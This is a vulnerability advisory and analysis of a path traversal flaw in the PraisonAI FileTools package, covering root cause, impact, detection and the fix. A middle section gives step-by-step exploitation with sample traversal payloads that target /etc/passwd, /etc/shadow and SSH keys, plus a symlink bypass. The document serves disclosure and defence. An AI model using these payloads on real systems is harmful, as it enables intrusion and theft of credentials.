CVE-2026-35615: 
Python vulnerability analysis and mitigation

CVE-2026-35615 is a path traversal vulnerability (CWE-22) in PraisonAI's FileTools component that allows unauthenticated remote attackers to read arbitrary files on the host system. It affects all versions of the praisonai pip package up to and including 1.5.112, with version 1.5.113 containing the fix. The vulnerability was published on April 5–6, 2026, by the maintainer and subsequently added to the GitHub Advisory Database and NVD. It carries a CVSS v3.1 score of 7.5 (High) and a CVSS v4.0 score of 9.2 (Critical) (GitHub Advisory, PraisonAI Advisory).

The root cause is a logic ordering flaw in the _validate_path() method within src/praisonai-agents/praisonaiagents/tools/file_tools.py (lines 42–49). The function calls os.path.normpath() first, which collapses all .. sequences in the path, and then checks whether .. appears in the already-normalized result — a check that will always evaluate to False, rendering the traversal guard completely ineffective. Additionally, neither os.path.normpath() nor os.path.abspath() resolve symbolic links, creating a secondary attack surface via attacker-controlled symlinks. The flaw affects all FileTools file operations: read_file, write_file, list_files, get_file_info, copy_file, move_file, delete_file, and download_file (GitHub Advisory, PraisonAI Advisory).

Successful exploitation allows an unauthenticated network attacker to read any file accessible to the application process, including sensitive system files such as /etc/passwd, /etc/shadow, and SSH private keys (~/.ssh/id_rsa). If write-capable FileTools operations are exposed, an attacker could also write arbitrary files, potentially enabling code execution or persistence. The CVSS v4.0 scoring reflects high confidentiality impact on both the vulnerable and subsequent systems, with no integrity or availability impact in the base case (GitHub Advisory).

1. Identify target: Locate a deployment of PraisonAI (pip package praisonai ≤ 1.5.112) that exposes file operation functionality, either directly via an API or through an agent interface that accepts file paths as input.
2. Craft traversal payload: Construct a path that uses .. sequences to escape the intended directory, e.g., /tmp/../etc/passwd or /var/app/data/../../etc/shadow.
3. Invoke vulnerable FileTools method: Call the exposed file operation (e.g., read_file) with the crafted path. Because _validate_path() runs normpath() before checking for .., the traversal sequences are collapsed before the guard runs, and the check always passes.
4. Retrieve file contents: The method returns the contents of the target file (e.g., /etc/passwd) to the caller with no error raised.
5. Escalate via symlinks (optional): If the attacker can place or control a symlink on the filesystem, supply its path to _validate_path() — since symlinks are not resolved, the function will follow the symlink to any target file, bypassing directory restrictions entirely (PraisonAI Advisory).

• Logs: Application or API logs showing file path arguments containing .. sequences (e.g., /tmp/../etc/passwd, /var/app/../../etc/shadow) passed to FileTools methods; repeated access to sensitive system paths (/etc/passwd, /etc/shadow, ~/.ssh/) from the PraisonAI process.
• File System: Unexpected access timestamps on sensitive files such as /etc/passwd, /etc/shadow, or SSH key files that correlate with PraisonAI process activity; presence of attacker-controlled symlinks in directories writable by the application.
• Process: The PraisonAI Python process opening file descriptors to paths outside the expected application working directory, observable via lsof or auditd file access events (PraisonAI Advisory).

Upgrade the praisonai pip package to version 1.5.113 or later, which addresses the path traversal flaw (PraisonAI Release). As a workaround prior to patching, restrict the application's filesystem permissions using the principle of least privilege so it can only access directories it legitimately requires. The correct fix is to check for .. in the original filepath input before calling normpath(), and to use os.path.realpath() instead of os.path.abspath() to resolve symlinks before performing any directory boundary checks (GitHub Advisory). Consider implementing an allowlist of permitted base directories rather than a blocklist approach.

The vulnerability was reported by security researcher kritsana-chaikaew and disclosed responsibly through GitHub's security advisory process by the PraisonAI maintainer (PraisonAI Advisory). No significant broader media coverage or notable public researcher commentary beyond the advisory itself has been identified at this time.